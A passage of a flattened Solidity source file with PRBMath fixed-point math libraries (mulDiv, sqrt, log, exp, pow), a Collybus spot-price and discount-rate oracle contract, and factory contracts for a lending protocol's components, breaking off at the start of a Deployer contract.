/// @return result The result as an int256.
function mulDivSigned(
int256 x,
int256 y,
int256 denominator
) internal pure returns (int256 result) {
if (x == type(int256).min || y == type(int256).min || denominator == type(int256).min) {
revert PRBMath__MulDivSignedInputTooSmall();
}
// Get hold of the absolute values of x, y and the denominator.
uint256 ax;
uint256 ay;
uint256 ad;
unchecked {
ax = x < 0 ? uint256(-x) : uint256(x);
ay = y < 0 ? uint256(-y) : uint256(y);
ad = denominator < 0 ? uint256(-denominator) : uint256(denominator);
}
// Compute the absolute value of (x*y)÷denominator. The result must fit within int256.
uint256 rAbs = mulDiv(ax, ay, ad);
if (rAbs > uint256(type(int256).max)) {
revert PRBMath__MulDivSignedOverflow(rAbs);
}
// Get the signs of x, y and the denominator.
uint256 sx;
uint256 sy;
uint256 sd;
assembly {
sx := sgt(x, sub(0, 1))
sy := sgt(y, sub(0, 1))
sd := sgt(denominator, sub(0, 1))
}
// XOR over sx, sy and sd. This is checking whether there are one or three negative signs in the inputs.
// If yes, the result should be negative.
result = sx ^ sy ^ sd == 0 ? -int256(rAbs) : int256(rAbs);
}
/// @notice Calculates the square root of x, rounding down.
/// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method.
///
/// Caveats:
/// - This function does not work with fixed-point numbers.
///
/// @param x The uint256 number for which to calculate the square root.
/// @return result The result as an uint256.
function sqrt(uint256 x) internal pure returns (uint256 result) {
if (x == 0) {
return 0;
}
// Set the initial guess to the least power of two that is greater than or equal to sqrt(x).
uint256 xAux = uint256(x);
result = 1;
if (xAux >= 0x100000000000000000000000000000000) {
xAux >>= 128;
result <<= 64;
}
if (xAux >= 0x10000000000000000) {
xAux >>= 64;
result <<= 32;
}
if (xAux >= 0x100000000) {
xAux >>= 32;
result <<= 16;
}
if (xAux >= 0x10000) {
xAux >>= 16;
result <<= 8;
}
if (xAux >= 0x100) {
xAux >>= 8;
result <<= 4;
}
if (xAux >= 0x10) {
xAux >>= 4;
result <<= 2;
}
if (xAux >= 0x8) {
result <<= 1;
}
// The operations can never overflow because the result is max 2^127 when it enters this block.
unchecked {
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1; // Seven iterations should be enough
uint256 roundedDownResult = x / result;
return result >= roundedDownResult ? roundedDownResult : result;
}
}
}
/// @title PRBMathUD60x18
/// @author Paul Razvan Berg
/// @notice Smart contract library for advanced fixed-point math that works with uint256 numbers considered to have 18
/// trailing decimals. We call this number representation unsigned 60.18-decimal fixed-point, since there can be up to 60
/// digits in the integer part and up to 18 decimals in the fractional part. The numbers are bound by the minimum and the
/// maximum values permitted by the Solidity type uint256.
library PRBMathUD60x18 {
/// @dev Half the SCALE number.
uint256 internal constant HALF_SCALE = 5e17;
/// @dev log2(e) as an unsigned 60.18-decimal fixed-point number.
uint256 internal constant LOG2_E = 1_442695040888963407;
/// @dev The maximum value an unsigned 60.18-decimal fixed-point number can have.
uint256 internal constant MAX_UD60x18 =
115792089237316195423570985008687907853269984665640564039457_584007913129639935;
/// @dev The maximum whole value an unsigned 60.18-decimal fixed-point number can have.
uint256 internal constant MAX_WHOLE_UD60x18 =
115792089237316195423570985008687907853269984665640564039457_000000000000000000;
/// @dev How many trailing decimals can be represented.
uint256 internal constant SCALE = 1e18;
/// @notice Calculates the arithmetic average of x and y, rounding down.
/// @param x The first operand as an unsigned 60.18-decimal fixed-point number.
/// @param y The second operand as an unsigned 60.18-decimal fixed-point number.
/// @return result The arithmetic average as an unsigned 60.18-decimal fixed-point number.
function avg(uint256 x, uint256 y) internal pure returns (uint256 result) {
// The operations can never overflow.
unchecked {
// The last operand checks if both x and y are odd and if that is the case, we add 1 to the result. We need
// to do this because if both numbers are odd, the 0.5 remainder gets truncated twice.
result = (x >> 1) + (y >> 1) + (x & y & 1);
}
}
/// @notice Yields the least unsigned 60.18 decimal fixed-point number greater than or equal to x.
///
/// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts.
/// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions.
///
/// Requirements:
/// - x must be less than or equal to MAX_WHOLE_UD60x18.
///
/// @param x The unsigned 60.18-decimal fixed-point number to ceil.
/// @param result The least integer greater than or equal to x, as an unsigned 60.18-decimal fixed-point number.
function ceil(uint256 x) internal pure returns (uint256 result) {
if (x > MAX_WHOLE_UD60x18) {
revert PRBMathUD60x18__CeilOverflow(x);
}
assembly {
// Equivalent to "x % SCALE" but faster.
let remainder := mod(x, SCALE)
// Equivalent to "SCALE - remainder" but faster.
let delta := sub(SCALE, remainder)
// Equivalent to "x + delta * (remainder > 0 ? 1 : 0)" but faster.
result := add(x, mul(delta, gt(remainder, 0)))
}
}
/// @notice Divides two unsigned 60.18-decimal fixed-point numbers, returning a new unsigned 60.18-decimal fixed-point number.
///
/// @dev Uses mulDiv to enable overflow-safe multiplication and division.
///
/// Requirements:
/// - The denominator cannot be zero.
///
/// @param x The numerator as an unsigned 60.18-decimal fixed-point number.
/// @param y The denominator as an unsigned 60.18-decimal fixed-point number.
/// @param result The quotient as an unsigned 60.18-decimal fixed-point number.
function div(uint256 x, uint256 y) internal pure returns (uint256 result) {
result = PRBMath.mulDiv(x, SCALE, y);
}
/// @notice Returns Euler's number as an unsigned 60.18-decimal fixed-point number.
/// @dev See https://en.wikipedia.org/wiki/E_(mathematical_constant).
function e() internal pure returns (uint256 result) {
result = 2_718281828459045235;
}
/// @notice Calculates the natural exponent of x.
///
/// @dev Based on the insight that e^x = 2^(x * log2(e)).
///
/// Requirements:
/// - All from "log2".
/// - x must be less than 133.084258667509499441.
///
/// @param x The exponent as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function exp(uint256 x) internal pure returns (uint256 result) {
// Without this check, the value passed to "exp2" would be greater than 192.
if (x >= 133_084258667509499441) {
revert PRBMathUD60x18__ExpInputTooBig(x);
}
// Do the fixed-point multiplication inline to save gas.
unchecked {
uint256 doubleScaleProduct = x * LOG2_E;
result = exp2((doubleScaleProduct + HALF_SCALE) / SCALE);
}
}
/// @notice Calculates the binary exponent of x using the binary fraction method.
///
/// @dev See https://ethereum.stackexchange.com/q/79903/24693.
///
/// Requirements:
/// - x must be 192 or less.
/// - The result must fit within MAX_UD60x18.
///
/// @param x The exponent as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function exp2(uint256 x) internal pure returns (uint256 result) {
// 2^192 doesn't fit within the 192.64-bit format used internally in this function.
if (x >= 192e18) {
revert PRBMathUD60x18__Exp2InputTooBig(x);
}
unchecked {
// Convert x to the 192.64-bit fixed-point format.
uint256 x192x64 = (x << 64) / SCALE;
// Pass x to the PRBMath.exp2 function, which uses the 192.64-bit fixed-point number representation.
result = PRBMath.exp2(x192x64);
}
}
/// @notice Yields the greatest unsigned 60.18 decimal fixed-point number less than or equal to x.
/// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts.
/// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions.
/// @param x The unsigned 60.18-decimal fixed-point number to floor.
/// @param result The greatest integer less than or equal to x, as an unsigned 60.18-decimal fixed-point number.
function floor(uint256 x) internal pure returns (uint256 result) {
assembly {
// Equivalent to "x % SCALE" but faster.
let remainder := mod(x, SCALE)
// Equivalent to "x - remainder * (remainder > 0 ? 1 : 0)" but faster.
result := sub(x, mul(remainder, gt(remainder, 0)))
}
}
/// @notice Yields the excess beyond the floor of x.
/// @dev Based on the odd function definition https://en.wikipedia.org/wiki/Fractional_part.
/// @param x The unsigned 60.18-decimal fixed-point number to get the fractional part of.
/// @param result The fractional part of x as an unsigned 60.18-decimal fixed-point number.
function frac(uint256 x) internal pure returns (uint256 result) {
assembly {
result := mod(x, SCALE)
}
}
/// @notice Converts a number from basic integer form to unsigned 60.18-decimal fixed-point representation.
///
/// @dev Requirements:
/// - x must be less than or equal to MAX_UD60x18 divided by SCALE.
///
/// @param x The basic integer to convert.
/// @param result The same number in unsigned 60.18-decimal fixed-point representation.
function fromUint(uint256 x) internal pure returns (uint256 result) {
unchecked {
if (x > MAX_UD60x18 / SCALE) {
revert PRBMathUD60x18__FromUintOverflow(x);
}
result = x * SCALE;
}
}
/// @notice Calculates geometric mean of x and y, i.e. sqrt(x * y), rounding down.
///
/// @dev Requirements:
/// - x * y must fit within MAX_UD60x18, lest it overflows.
///
/// @param x The first operand as an unsigned 60.18-decimal fixed-point number.
/// @param y The second operand as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function gm(uint256 x, uint256 y) internal pure returns (uint256 result) {
if (x == 0) {
return 0;
}
unchecked {
// Checking for overflow this way is faster than letting Solidity do it.
uint256 xy = x * y;
if (xy / x != y) {
revert PRBMathUD60x18__GmOverflow(x, y);
}
// We don't need to multiply by the SCALE here because the x*y product had already picked up a factor of SCALE
// during multiplication. See the comments within the "sqrt" function.
result = PRBMath.sqrt(xy);
}
}
/// @notice Calculates 1 / x, rounding toward zero.
///
/// @dev Requirements:
/// - x cannot be zero.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the inverse.
/// @return result The inverse as an unsigned 60.18-decimal fixed-point number.
function inv(uint256 x) internal pure returns (uint256 result) {
unchecked {
// 1e36 is SCALE * SCALE.
result = 1e36 / x;
}
}
/// @notice Calculates the natural logarithm of x.
///
/// @dev Based on the insight that ln(x) = log2(x) / log2(e).
///
/// Requirements:
/// - All from "log2".
///
/// Caveats:
/// - All from "log2".
/// - This doesn't return exactly 1 for 2.718281828459045235, for that we would need more fine-grained precision.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the natural logarithm.
/// @return result The natural logarithm as an unsigned 60.18-decimal fixed-point number.
function ln(uint256 x) internal pure returns (uint256 result) {
// Do the fixed-point multiplication inline to save gas. This is overflow-safe because the maximum value that log2(x)
// can return is 196205294292027477728.
unchecked {
result = (log2(x) * SCALE) / LOG2_E;
}
}
/// @notice Calculates the common logarithm of x.
///
/// @dev First checks if x is an exact power of ten and it stops if yes. If it's not, calculates the common
/// logarithm based on the insight that log10(x) = log2(x) / log2(10).
///
/// Requirements:
/// - All from "log2".
///
/// Caveats:
/// - All from "log2".
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the common logarithm.
/// @return result The common logarithm as an unsigned 60.18-decimal fixed-point number.
function log10(uint256 x) internal pure returns (uint256 result) {
if (x < SCALE) {
revert PRBMathUD60x18__LogInputTooSmall(x);
}
// Note that the "mul" in this block is the assembly multiplication operation, not the "mul" function defined
// in this contract.
// prettier-ignore
assembly {
switch x
case 1 { result := mul(SCALE, sub(0, 18)) }
case 10 { result := mul(SCALE, sub(1, 18)) }
case 100 { result := mul(SCALE, sub(2, 18)) }
case 1000 { result := mul(SCALE, sub(3, 18)) }
case 10000 { result := mul(SCALE, sub(4, 18)) }
case 100000 { result := mul(SCALE, sub(5, 18)) }
case 1000000 { result := mul(SCALE, sub(6, 18)) }
case 10000000 { result := mul(SCALE, sub(7, 18)) }
case 100000000 { result := mul(SCALE, sub(8, 18)) }
case 1000000000 { result := mul(SCALE, sub(9, 18)) }
case 10000000000 { result := mul(SCALE, sub(10, 18)) }
case 100000000000 { result := mul(SCALE, sub(11, 18)) }
case 1000000000000 { result := mul(SCALE, sub(12, 18)) }
case 10000000000000 { result := mul(SCALE, sub(13, 18)) }
case 100000000000000 { result := mul(SCALE, sub(14, 18)) }
case 1000000000000000 { result := mul(SCALE, sub(15, 18)) }
case 10000000000000000 { result := mul(SCALE, sub(16, 18)) }
case 100000000000000000 { result := mul(SCALE, sub(17, 18)) }
case 1000000000000000000 { result := 0 }
case 10000000000000000000 { result := SCALE }
case 100000000000000000000 { result := mul(SCALE, 2) }
case 1000000000000000000000 { result := mul(SCALE, 3) }
case 10000000000000000000000 { result := mul(SCALE, 4) }
case 100000000000000000000000 { result := mul(SCALE, 5) }
case 1000000000000000000000000 { result := mul(SCALE, 6) }
case 10000000000000000000000000 { result := mul(SCALE, 7) }
case 100000000000000000000000000 { result := mul(SCALE, 8) }
case 1000000000000000000000000000 { result := mul(SCALE, 9) }
case 10000000000000000000000000000 { result := mul(SCALE, 10) }
case 100000000000000000000000000000 { result := mul(SCALE, 11) }
case 1000000000000000000000000000000 { result := mul(SCALE, 12) }
case 10000000000000000000000000000000 { result := mul(SCALE, 13) }
case 100000000000000000000000000000000 { result := mul(SCALE, 14) }
case 1000000000000000000000000000000000 { result := mul(SCALE, 15) }
case 10000000000000000000000000000000000 { result := mul(SCALE, 16) }
case 100000000000000000000000000000000000 { result := mul(SCALE, 17) }
case 1000000000000000000000000000000000000 { result := mul(SCALE, 18) }
case 10000000000000000000000000000000000000 { result := mul(SCALE, 19) }
case 100000000000000000000000000000000000000 { result := mul(SCALE, 20) }
case 1000000000000000000000000000000000000000 { result := mul(SCALE, 21) }
case 10000000000000000000000000000000000000000 { result := mul(SCALE, 22) }
case 100000000000000000000000000000000000000000 { result := mul(SCALE, 23) }
case 1000000000000000000000000000000000000000000 { result := mul(SCALE, 24) }
case 10000000000000000000000000000000000000000000 { result := mul(SCALE, 25) }
case 100000000000000000000000000000000000000000000 { result := mul(SCALE, 26) }
case 1000000000000000000000000000000000000000000000 { result := mul(SCALE, 27) }
case 10000000000000000000000000000000000000000000000 { result := mul(SCALE, 28) }
case 100000000000000000000000000000000000000000000000 { result := mul(SCALE, 29) }
case 1000000000000000000000000000000000000000000000000 { result := mul(SCALE, 30) }
case 10000000000000000000000000000000000000000000000000 { result := mul(SCALE, 31) }
case 100000000000000000000000000000000000000000000000000 { result := mul(SCALE, 32) }
case 1000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 33) }
case 10000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 34) }
case 100000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 35) }
case 1000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 36) }
case 10000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 37) }
case 100000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 38) }
case 1000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 39) }
case 10000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 40) }
case 100000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 41) }
case 1000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 42) }
case 10000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 43) }
case 100000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 44) }
case 1000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 45) }
case 10000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 46) }
case 100000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 47) }
case 1000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 48) }
case 10000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 49) }
case 100000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 50) }
case 1000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 51) }
case 10000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 52) }
case 100000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 53) }
case 1000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 54) }
case 10000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 55) }
case 100000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 56) }
case 1000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 57) }
case 10000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 58) }
case 100000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 59) }
default {
result := MAX_UD60x18
}
}
if (result == MAX_UD60x18) {
// Do the fixed-point division inline to save gas. The denominator is log2(10).
unchecked {
result = (log2(x) * SCALE) / 3_321928094887362347;
}
}
}
/// @notice Calculates the binary logarithm of x.
///
/// @dev Based on the iterative approximation algorithm.
/// https://en.wikipedia.org/wiki/Binary_logarithm#Iterative_approximation
///
/// Requirements:
/// - x must be greater than or equal to SCALE, otherwise the result would be negative.
///
/// Caveats:
/// - The results are nor perfectly accurate to the last decimal, due to the lossy precision of the iterative approximation.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the binary logarithm.
/// @return result The binary logarithm as an unsigned 60.18-decimal fixed-point number.
function log2(uint256 x) internal pure returns (uint256 result) {
if (x < SCALE) {
revert PRBMathUD60x18__LogInputTooSmall(x);
}
unchecked {
// Calculate the integer part of the logarithm and add it to the result and finally calculate y = x * 2^(-n).
uint256 n = PRBMath.mostSignificantBit(x / SCALE);
// The integer part of the logarithm as an unsigned 60.18-decimal fixed-point number. The operation can't overflow
// because n is maximum 255 and SCALE is 1e18.
result = n * SCALE;
// This is y = x * 2^(-n).
uint256 y = x >> n;
// If y = 1, the fractional part is zero.
if (y == SCALE) {
return result;
}
// Calculate the fractional part via the iterative approximation.
// The "delta >>= 1" part is equivalent to "delta /= 2", but shifting bits is faster.
for (uint256 delta = HALF_SCALE; delta > 0; delta >>= 1) {
y = (y * y) / SCALE;
// Is y^2 > 2 and so in the range [2,4)?
if (y >= 2 * SCALE) {
// Add the 2^(-m) factor to the logarithm.
result += delta;
// Corresponds to z/2 on Wikipedia.
y >>= 1;
}
}
}
}
/// @notice Multiplies two unsigned 60.18-decimal fixed-point numbers together, returning a new unsigned 60.18-decimal
/// fixed-point number.
/// @dev See the documentation for the "PRBMath.mulDivFixedPoint" function.
/// @param x The multiplicand as an unsigned 60.18-decimal fixed-point number.
/// @param y The multiplier as an unsigned 60.18-decimal fixed-point number.
/// @return result The product as an unsigned 60.18-decimal fixed-point number.
function mul(uint256 x, uint256 y) internal pure returns (uint256 result) {
result = PRBMath.mulDivFixedPoint(x, y);
}
/// @notice Returns PI as an unsigned 60.18-decimal fixed-point number.
function pi() internal pure returns (uint256 result) {
result = 3_141592653589793238;
}
/// @notice Raises x to the power of y.
///
/// @dev Based on the insight that x^y = 2^(log2(x) * y).
///
/// Requirements:
/// - All from "exp2", "log2" and "mul".
///
/// Caveats:
/// - All from "exp2", "log2" and "mul".
/// - Assumes 0^0 is 1.
///
/// @param x Number to raise to given power y, as an unsigned 60.18-decimal fixed-point number.
/// @param y Exponent to raise x to, as an unsigned 60.18-decimal fixed-point number.
/// @return result x raised to power y, as an unsigned 60.18-decimal fixed-point number.
function pow(uint256 x, uint256 y) internal pure returns (uint256 result) {
if (x == 0) {
result = y == 0 ? SCALE : uint256(0);
} else {
result = exp2(mul(log2(x), y));
}
}
/// @notice Raises x (unsigned 60.18-decimal fixed-point number) to the power of y (basic unsigned integer) using the
/// famous algorithm "exponentiation by squaring".
///
/// @dev See https://en.wikipedia.org/wiki/Exponentiation_by_squaring
///
/// Requirements:
/// - The result must fit within MAX_UD60x18.
///
/// Caveats:
/// - All from "mul".
/// - Assumes 0^0 is 1.
///
/// @param x The base as an unsigned 60.18-decimal fixed-point number.
/// @param y The exponent as an uint256.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function powu(uint256 x, uint256 y) internal pure returns (uint256 result) {
// Calculate the first iteration of the loop in advance.
result = y & 1 > 0 ? x : SCALE;
// Equivalent to "for(y /= 2; y > 0; y /= 2)" but faster.
for (y >>= 1; y > 0; y >>= 1) {
x = PRBMath.mulDivFixedPoint(x, x);
// Equivalent to "y % 2 == 1" but faster.
if (y & 1 > 0) {
result = PRBMath.mulDivFixedPoint(result, x);
}
}
}
/// @notice Returns 1 as an unsigned 60.18-decimal fixed-point number.
function scale() internal pure returns (uint256 result) {
result = SCALE;
}
/// @notice Calculates the square root of x, rounding down.
/// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method.
///
/// Requirements:
/// - x must be less than MAX_UD60x18 / SCALE.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the square root.
/// @return result The result as an unsigned 60.18-decimal fixed-point .
function sqrt(uint256 x) internal pure returns (uint256 result) {
unchecked {
if (x > MAX_UD60x18 / SCALE) {
revert PRBMathUD60x18__SqrtOverflow(x);
}
// Multiply x by the SCALE to account for the factor of SCALE that is picked up when multiplying two unsigned
// 60.18-decimal fixed-point numbers together (in this case, those two numbers are both the square root).
result = PRBMath.sqrt(x * SCALE);
}
}
/// @notice Converts a unsigned 60.18-decimal fixed-point number to basic integer form, rounding down in the process.
/// @param x The unsigned 60.18-decimal fixed-point number to convert.
/// @return result The same number in basic integer form.
function toUint(uint256 x) internal pure returns (uint256 result) {
unchecked {
result = x / SCALE;
}
}
}
/// @title Collybus
/// @notice `Collybus` stores a spot price and discount rate for every Vault / asset.
contract Collybus is Guarded, ICollybus {
/// ======== Custom Errors ======== ///
error Collybus__setParam_notLive();
error Collybus__setParam_unrecognizedParam();
error Collybus__updateSpot_notLive();
error Collybus__updateDiscountRate_notLive();
error Collybus__updateDiscountRate_invalidRateId();
error Collybus__updateDiscountRate_invalidRate();
using PRBMathUD60x18 for uint256;
/// ======== Storage ======== ///
struct VaultConfig {
// Liquidation ratio [wad]
uint128 liquidationRatio;
// Default fixed interest rate oracle system rateId
uint128 defaultRateId;
}
/// @notice Vault Configuration
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Spot prices by token address
/// @dev Token address => spot price [wad]
mapping(address => uint256) public override spots;
/// @notice Fixed interest rate oracle system rateId
/// @dev RateId => Discount Rate [wad]
mapping(uint256 => uint256) public override rates;
// Fixed interest rate oracle system rateId for each TokenId
// Vault => TokenId => RateId
mapping(address => mapping(uint256 => uint256)) public override rateIds;
/// @notice Redemption Price of a Credit unit [wad]
uint256 public immutable override redemptionPrice;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event SetParam(address indexed vault, uint256 indexed tokenId, bytes32 indexed param, uint256 data);
event UpdateSpot(address indexed token, uint256 spot);
event UpdateDiscountRate(uint256 indexed rateId, uint256 rate);
event Lock();
// TODO: why not making timeScale and redemption price function arguments?
constructor() Guarded() {
redemptionPrice = WAD; // 1.0
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (live == 0) revert Collybus__setParam_notLive();
if (param == "live") live = data;
else revert Collybus__setParam_unrecognizedParam();
emit SetParam(address(0), param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint128 data
) external override checkCaller {
if (live == 0) revert Collybus__setParam_notLive();
if (param == "liquidationRatio") vaults[vault].liquidationRatio = data;
else if (param == "defaultRateId") vaults[vault].defaultRateId = data;
else revert Collybus__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
uint256 tokenId,
bytes32 param,
uint256 data
) external override checkCaller {
if (live == 0) revert Collybus__setParam_notLive();
if (param == "rateId") rateIds[vault][tokenId] = data;
else revert Collybus__setParam_unrecognizedParam();
emit SetParam(vault, tokenId, param, data);
}
/// ======== Spot Prices ======== ///
/// @notice Sets a token's spot price
/// @dev Sender has to be allowed to call this method
/// @param token Address of the token
/// @param spot Spot price [wad]
function updateSpot(address token, uint256 spot) external override checkCaller {
if (live == 0) revert Collybus__updateSpot_notLive();
spots[token] = spot;
emit UpdateSpot(token, spot);
}
/// ======== Discount Rate ======== ///
/// @notice Sets the discount rate by RateId
/// @param rateId RateId of the discount rate feed
/// @param rate Discount rate [wad]
function updateDiscountRate(uint256 rateId, uint256 rate) external override checkCaller {
if (live == 0) revert Collybus__updateDiscountRate_notLive();
if (rateId >= type(uint128).max) revert Collybus__updateDiscountRate_invalidRateId();
if (rate >= 2e10) revert Collybus__updateDiscountRate_invalidRate();
rates[rateId] = rate;
emit UpdateDiscountRate(rateId, rate);
}
/// @notice Returns the internal price for an asset
/// @dev
/// redemptionPrice
/// v = ----------------------------------------
/// (maturity - timestamp)
/// (1 + discountRate)
///
/// @param vault Address of the asset corresponding Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param maturity Maturity of the asset [unix timestamp in seconds]
/// @param net Boolean (true - with liquidation safety margin, false - without)
/// @return price Internal price [wad]
function read(
address vault,
address underlier,
uint256 tokenId,
uint256 maturity,
bool net
) external view override returns (uint256 price) {
VaultConfig memory vaultConfig = vaults[vault];
// fetch applicable fixed interest rate oracle system rateId
uint256 rateId = rateIds[vault][tokenId];
if (rateId == uint256(0)) rateId = vaultConfig.defaultRateId; // if not set, use default rateId
// fetch discount rate
uint256 discountRate = rates[rateId];
// apply discount rate if discountRate > 0
if (discountRate != 0 && maturity > block.timestamp) {
uint256 rate = add(WAD, discountRate).powu(sub(maturity, block.timestamp));
price = wdiv(redemptionPrice, rate); // den. in Underlier
} else {
price = redemptionPrice; // den. in Underlier
}
price = wmul(price, spots[underlier]); // den. in USD
if (net) price = wdiv(price, vaultConfig.liquidationRatio); // with liquidation safety margin
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}
interface IGuard {
function isGuard() external view returns (bool);
}
contract CodexFactory {
function newCodex(address owner) public returns (Codex codex) {
codex = new Codex();
codex.allowCaller(codex.ANY_SIG(), owner);
codex.blockCaller(codex.ANY_SIG(), address(this));
}
}
contract PublicanFactory {
function newPublican(address owner, address codex) public returns (Publican publican) {
publican = new Publican(codex);
publican.allowCaller(publican.ANY_SIG(), owner);
publican.blockCaller(publican.ANY_SIG(), address(this));
}
}
contract AerFactory {
function newAer(
address owner,
address codex,
address surplusAuction,
address debtAuction
) public returns (Aer aer) {
aer = new Aer(codex, surplusAuction, debtAuction);
aer.allowCaller(aer.ANY_SIG(), owner);
aer.blockCaller(aer.ANY_SIG(), address(this));
}
}
contract LimesFactory {
function newLimes(address owner, address codex) public returns (Limes limes) {
limes = new Limes(codex);
limes.allowCaller(limes.ANY_SIG(), owner);
limes.blockCaller(limes.ANY_SIG(), address(this));
}
}
contract FIATFactory {
function newFIAT(address owner) public returns (FIAT fiat) {
fiat = new FIAT();
fiat.allowCaller(fiat.ANY_SIG(), owner);
fiat.blockCaller(fiat.ANY_SIG(), address(this));
}
}
contract MonetaFactory {
function newMoneta(address codex, address fiat) public returns (Moneta moneta) {
moneta = new Moneta(codex, fiat);
}
}
contract SurplusAuctionFactory {
function newSurplusAuction(
address owner,
address codex,
address gov
) public returns (SurplusAuction surplusAuction) {
surplusAuction = new SurplusAuction(codex, gov);
surplusAuction.allowCaller(surplusAuction.ANY_SIG(), owner);
surplusAuction.blockCaller(surplusAuction.ANY_SIG(), address(this));
}
}
contract DebtAuctionFactory {
function newDebtAuction(
address owner,
address codex,
address gov
) public returns (DebtAuction debtAuction) {
debtAuction = new DebtAuction(codex, gov);
debtAuction.allowCaller(debtAuction.ANY_SIG(), owner);
debtAuction.blockCaller(debtAuction.ANY_SIG(), address(this));
}
}
contract NoLossCollateralAuctionFactory {
function newNoLossCollateralAuction(
address owner,
address codex,
address limes
) public returns (NoLossCollateralAuction collateralAuction) {
collateralAuction = new NoLossCollateralAuction(codex, limes);
collateralAuction.allowCaller(collateralAuction.ANY_SIG(), owner);
collateralAuction.blockCaller(collateralAuction.ANY_SIG(), address(this));
}
}
contract CollybusFactory {
function newCollybus(address owner) public returns (Collybus collybus) {
collybus = new Collybus();
collybus.allowCaller(collybus.ANY_SIG(), owner);
collybus.blockCaller(collybus.ANY_SIG(), address(this));
}
}
contract TenebraeFactory {
function newTenebrae(address owner) public returns (Tenebrae tenebrae) {
tenebrae = new Tenebrae();
tenebrae.allowCaller(tenebrae.ANY_SIG(), owner);
tenebrae.blockCaller(tenebrae.ANY_SIG(), address(this));
}
}
/// @title Deployer
/// @notice Stateful contract managing the deployment of the protocol
contract Deployer is Guarded {
/// ======== Custom Errors ======== ///
error Deployer__checkStep_missingPreviousStep();
error Deployer__deployAuctions_zeroGovToken();
error Deployer__setGuard_notGuard();
/// ======== Storage ======== ///
CodexFactory public codexFactory;
PublicanFactory public publicanFactory;
AerFactory public aerFactory;
LimesFactory public limesFactory;
FIATFactory public fiatFactory;
MonetaFactory public monetaFactory;
SurplusAuctionFactory public surplusAuctionFactory;
DebtAuctionFactory public debtAuctionFactory;
NoLossCollateralAuctionFactory public collateralAuctionFactory;
CollybusFactory public collybusFactory;
TenebraeFactory public tenebraeFactory;
Codex public codex;
Publican public publican;
Aer public aer;
Limes public limes;
FIAT public fiat;
Moneta public moneta;
NoLossCollateralAuction public collateralAuction;
SurplusAuction public surplusAuction;
DebtAuction public debtAuction;
Collybus public collybus;
Tenebrae public tenebrae;
uint256 public step;
modifier checkStep(uint256 prevStep) {
uint256 _step = step;
if (_step != prevStep) revert Deployer__checkStep_missingPreviousStep();
_;
step++;
}
/// ======== Deploy ======== ///
function setFactory(
CodexFactory codexFactory_,
